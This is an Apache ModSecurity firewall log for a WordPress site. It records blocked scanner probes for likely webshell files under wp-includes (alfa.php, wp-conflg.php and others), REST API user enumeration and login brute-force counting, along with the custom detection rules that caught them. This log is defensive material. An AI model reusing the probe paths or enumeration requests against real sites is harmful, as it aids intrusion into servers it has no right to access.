[Thu Nov 20 07:13:48.084351 2025] [:error] [pid 34405:tid 34425] [client 185.223.152.79:22051] [client 185.223.152.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/edit-site/about.php"] [unique_id "aR5PLDFpvu8oRK7ATfuHKQAAARI"]
[Thu Nov 20 07:13:48.751399 2025] [:error] [pid 55343:tid 55414] [client 185.223.152.87:53969] [client 185.223.152.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/index.php"] [unique_id "aR5PLFWlO3EnyVMV7w4OFgAAAI8"]
[Thu Nov 20 07:13:49.420386 2025] [:error] [pid 55343:tid 55408] [client 185.223.152.87:28811] [client 185.223.152.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/list-reusable-blocks/index.php"] [unique_id "aR5PLVWlO3EnyVMV7w4OFwAAAIk"]
[Thu Nov 20 07:13:50.110774 2025] [:error] [pid 55340:tid 55368] [client 185.223.152.82:23619] [client 185.223.152.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/wp-conflg.php"] [unique_id "aR5PLvOxD-NeMydTybDUpwAAABc"]
[Thu Nov 20 07:13:50.776876 2025] [:error] [pid 55430:tid 55454] [client 185.223.152.4:37239] [client 185.223.152.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/autoload_classmap.php"] [unique_id "aR5PLvPZXaIMEU4pE7tTjwAAANU"]
[Thu Nov 20 07:13:51.474688 2025] [:error] [pid 55430:tid 55450] [client 185.223.152.65:51293] [client 185.223.152.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aR5PL_PZXaIMEU4pE7tTkQAAANE"]
[Thu Nov 20 07:13:52.148989 2025] [:error] [pid 55343:tid 55416] [client 185.223.152.4:33213] [client 185.223.152.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/wp-conflg.php"] [unique_id "aR5PMFWlO3EnyVMV7w4OGgAAAJE"]
[Thu Nov 20 07:13:52.834628 2025] [:error] [pid 34444:tid 34448] [client 185.223.152.67:44569] [client 185.223.152.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/option.php"] [unique_id "aR5PMFNEol4jlmmA_GOp3wAAAUI"]
[Thu Nov 20 07:13:53.504493 2025] [:error] [pid 55340:tid 55365] [client 185.223.152.91:62195] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aR5PMfOxD-NeMydTybDUqQAAABQ"]
[Thu Nov 20 07:13:54.177353 2025] [:error] [pid 34405:tid 34424] [client 185.223.152.72:24473] [client 185.223.152.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/wrvpmsi/about.php"] [unique_id "aR5PMjFpvu8oRK7ATfuHLQAAARE"]
[Thu Nov 20 07:13:54.848570 2025] [:error] [pid 55340:tid 55363] [client 185.223.152.76:20877] [client 185.223.152.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aR5PMvOxD-NeMydTybDUqgAAABI"]
[Thu Nov 20 07:13:55.518847 2025] [:error] [pid 55343:tid 55401] [client 185.223.152.91:29087] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aR5PM1WlO3EnyVMV7w4OGwAAAII"]
[Thu Nov 20 07:13:56.190088 2025] [:error] [pid 55342:tid 55376] [client 185.223.152.78:57821] [client 185.223.152.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/interactivity-api/autoload_classmap.php"] [unique_id "aR5PNLg6x32Tvk7fIG9PZgAAAEQ"]
[Thu Nov 20 07:13:56.858143 2025] [:error] [pid 55343:tid 55409] [client 185.223.152.66:62289] [client 185.223.152.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/autoload_classmap.php"] [unique_id "aR5PNFWlO3EnyVMV7w4OHAAAAIo"]
[Thu Nov 20 07:13:57.526703 2025] [:error] [pid 55343:tid 55413] [client 185.223.152.75:52615] [client 185.223.152.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/crop/about.php"] [unique_id "aR5PNVWlO3EnyVMV7w4OHQAAAI4"]
[Thu Nov 20 07:13:58.195746 2025] [:error] [pid 34444:tid 34469] [client 185.223.152.69:22879] [client 185.223.152.69] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/dist/development/"] [unique_id "aR5PNlNEol4jlmmA_GOp5QAAAVc"]
[Thu Nov 20 07:13:58.864229 2025] [:error] [pid 55342:tid 55374] [client 185.223.152.4:35553] [client 185.223.152.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/dist/script-modules/block-library/query/index.php"] [unique_id "aR5PNrg6x32Tvk7fIG9PbwAAAEI"]
[Thu Nov 20 07:13:59.532517 2025] [:error] [pid 55343:tid 55405] [client 185.223.152.82:36175] [client 185.223.152.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/imgareaselect/index.php"] [unique_id "aR5PN1WlO3EnyVMV7w4OHwAAAIY"]
[Thu Nov 20 07:14:01.659111 2025] [:error] [pid 34444:tid 34463] [client 185.223.152.65:39237] [client 185.223.152.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jcrop/about.php"] [unique_id "aR5POVNEol4jlmmA_GOp6wAAAVE"]
[Thu Nov 20 07:14:02.339507 2025] [:error] [pid 55430:tid 55453] [client 185.223.152.72:20037] [client 185.223.152.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/mediaelement/admin.php"] [unique_id "aR5POvPZXaIMEU4pE7tTmQAAANQ"]
[Thu Nov 20 07:14:03.435528 2025] [:error] [pid 34405:tid 34427] [client 185.223.152.76:33125] [client 185.223.152.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/mediaelement/renderers/about.php"] [unique_id "aR5POzFpvu8oRK7ATfuHNAAAARQ"]
[Thu Nov 20 07:14:04.111365 2025] [:error] [pid 55343:tid 55399] [client 185.223.152.70:22869] [client 185.223.152.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/thickbox/index.php"] [unique_id "aR5PPFWlO3EnyVMV7w4OIgAAAIA"]
[Thu Nov 20 07:14:04.929952 2025] [:error] [pid 55340:tid 55345] [client 185.223.152.90:54091] [client 185.223.152.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/l10n/chosen.php"] [unique_id "aR5PPPOxD-NeMydTybDUrAAAAAA"]
[Thu Nov 20 07:14:05.643233 2025] [:error] [pid 55340:tid 55367] [client 185.223.152.81:54029] [client 185.223.152.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/link-template-variable.php"] [unique_id "aR5PPfOxD-NeMydTybDUrQAAABY"]
[Thu Nov 20 07:14:06.329463 2025] [:error] [pid 55343:tid 55412] [client 185.223.152.65:53135] [client 185.223.152.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/php-compat/wp-conflg.php"] [unique_id "aR5PPlWlO3EnyVMV7w4OJAAAAI0"]
[Thu Nov 20 07:14:06.999075 2025] [:error] [pid 34444:tid 34458] [client 185.223.152.72:46133] [client 185.223.152.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aR5PPlNEol4jlmmA_GOp7gAAAUw"]
[Thu Nov 20 07:14:07.669119 2025] [:error] [pid 55342:tid 55377] [client 185.223.152.78:36429] [client 185.223.152.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aR5PP7g6x32Tvk7fIG9PcwAAAEU"]
[Thu Nov 20 07:14:08.352197 2025] [:error] [pid 55343:tid 55423] [client 185.223.152.4:33683] [client 185.223.152.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/wp-conflg.php"] [unique_id "aR5PQFWlO3EnyVMV7w4OJgAAAJg"]
[Thu Nov 20 07:14:09.026179 2025] [:error] [pid 34444:tid 34446] [client 185.223.152.74:49219] [client 185.223.152.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aR5PQVNEol4jlmmA_GOp8AAAAUA"]
[Thu Nov 20 07:14:09.697319 2025] [:error] [pid 55430:tid 55456] [client 185.223.152.81:40729] [client 185.223.152.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/alfa.php"] [unique_id "aR5PQfPZXaIMEU4pE7tToQAAANc"]
[Thu Nov 20 07:14:10.462633 2025] [:error] [pid 55430:tid 55441] [client 185.223.152.86:21617] [client 185.223.152.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "aR5PQvPZXaIMEU4pE7tTogAAAMg"]
[Thu Nov 20 07:14:11.132038 2025] [:error] [pid 55340:tid 55348] [client 185.223.152.4:47549] [client 185.223.152.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-login.php"] [unique_id "aR5PQ_OxD-NeMydTybDUrwAAAAM"]
[Thu Nov 20 07:14:13.275443 2025] [:error] [pid 34444:tid 34454] [client 185.223.152.88:35677] [client 185.223.152.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/xax.php"] [unique_id "aR5PRVNEol4jlmmA_GOp_AAAAUg"]
[Thu Nov 20 07:14:13.953620 2025] [:error] [pid 34444:tid 34460] [client 185.223.152.73:63807] [client 185.223.152.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/xax.php"] [unique_id "aR5PRVNEol4jlmmA_GOqCwAAAU4"]
[Thu Nov 20 09:34:14.918416 2025] [:error] [pid 55340:tid 55354] [client 85.112.201.196:49190] [client 85.112.201.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.112.201.196, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aR5wFvOxD-NeMydTybAOXQAAAAk"]
[Thu Nov 20 09:34:20.215077 2025] [:error] [pid 55340:tid 55348] [client 85.112.201.196:33674] [client 85.112.201.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.112.201.196, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aR5wHPOxD-NeMydTybAOZQAAAAM"], referer: http://vetstars.com.au/wp-login.php
[Thu Nov 20 09:34:24.034979 2025] [:error] [pid 55430:tid 55456] [client 85.112.201.196:51172] [client 85.112.201.196] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aR5wIPPZXaIMEU4pE7t5cwAAANc"], referer: http://vetstars.com.au/wp-login.php
[Thu Nov 20 09:34:25.476721 2025] [:error] [pid 55340:tid 55360] [client 85.112.201.196:51188] [client 85.112.201.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.112.201.196, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aR5wIfOxD-NeMydTybAOaQAAAA8"], referer: https://vetstars.com.au/wp-login.php?redirect_to=https%3A%2F%2Fvetstars.com.au%2Fwp-admin%2F
[Thu Nov 20 12:10:25.062686 2025] [:error] [pid 34444:tid 34448] [client 98.81.111.26:57250] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aR6UsVNEol4jlmmA_GPxMQAAAUI"]
[Thu Nov 20 12:10:25.471042 2025] [:error] [pid 55430:tid 55435] [client 98.81.111.26:61352] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aR6UsfPZXaIMEU4pE7uhZQAAAMI"]
[Thu Nov 20 12:10:25.877966 2025] [:error] [pid 55340:tid 55352] [client 98.81.111.26:55182] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aR6UsfOxD-NeMydTybBKMgAAAAc"]
[Thu Nov 20 12:10:26.286501 2025] [:error] [pid 804:tid 817] [client 98.81.111.26:61333] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aR6UsvaRHpUlPL9O0Lk2HAAAAYM"]
[Thu Nov 20 12:15:56.084234 2025] [:error] [pid 55430:tid 55440] [client 98.81.111.26:51330] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aR6V_PPZXaIMEU4pE7umUQAAAMc"]
[Thu Nov 20 12:15:56.494055 2025] [:error] [pid 34405:tid 34408] [client 98.81.111.26:53861] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aR6V_DFpvu8oRK7ATfvNWgAAAQE"]
[Thu Nov 20 12:15:56.899016 2025] [:error] [pid 55340:tid 55357] [client 98.81.111.26:56054] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aR6V_POxD-NeMydTybBNqQAAAAw"]
[Thu Nov 20 12:15:57.304339 2025] [:error] [pid 55430:tid 55441] [client 98.81.111.26:59266] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aR6V_fPZXaIMEU4pE7umVgAAAMg"]
[Thu Nov 20 13:47:21.075293 2025] [:error] [pid 55340:tid 55366] [client 43.164.197.209:43354] [client 43.164.197.209] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aR6rafOxD-NeMydTybBrEQAAABU"]
[Thu Nov 20 19:31:47.238636 2025] [:error] [pid 55430:tid 55455] [client 180.102.134.69:37500] [client 180.102.134.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aR78I_PZXaIMEU4pE7sIHgAAANY"]
[Fri Nov 21 02:19:25.407196 2025] [:error] [pid 28937:tid 28956] [client 182.44.8.254:33975] [client 182.44.8.254] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aR9brftbT10GL1y3DOaC9wAAANE"]
[Fri Nov 21 03:01:42.376535 2025] [:error] [pid 13805:tid 13818] [client 157.55.39.56:2119] [client 157.55.39.56] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "82"] [id "210381"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||vetstars.com.au|F|4"] [data "REQUEST_URI=/\\x17\\x14%-\\x07@%h\\x19*%g-\\x15\\x1f"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/\\x17\\x14%-\\x07@%h\\x19*%g-\\x15\\x1f"] [unique_id "aR9lllurU5-GZdwKvr7pEwAAAUo"]
[Fri Nov 21 04:02:03.633399 2025] [:error] [pid 13326:tid 13359] [client 43.135.144.81:46252] [client 43.135.144.81] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aR9zu9h942-HkDIkOWrFYAAAAEE"]
